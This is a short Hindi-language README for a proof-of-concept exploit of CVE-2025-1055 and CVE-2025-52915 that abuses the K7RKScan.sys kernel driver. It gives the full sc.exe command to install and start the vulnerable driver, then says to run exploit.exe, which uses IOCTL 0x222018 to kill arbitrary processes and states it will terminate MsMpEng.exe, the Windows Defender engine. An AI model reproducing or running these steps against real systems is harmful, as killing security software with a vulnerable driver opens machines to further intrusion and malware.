
CVE-2025-1055 और CVE-2025-52915 के लिए PoC K7RKScan.sys का उपयोग करके
CVE-2025-1055 और CVE-2025-52915 के लिए K7RKScan.sys का उपयोग कर PoC। यह PoC 0x222018 IOCTL का उपयोग करके मनमानी प्रक्रियाओं को समाप्त करता है।
ड्राइवर स्थापित करना:
sc.exe create K7RKScan_1516.sys binPath=C:\Users\Administrator\Downloads\K7RKScan_1516.sys type=kernel && sc.exe start K7RKScan_1516.sys
PoC चलाना:
exploit.exe
यह MsMpEng.exe प्रक्रिया (विंडोज डिफेंडर) को समाप्त कर देगा।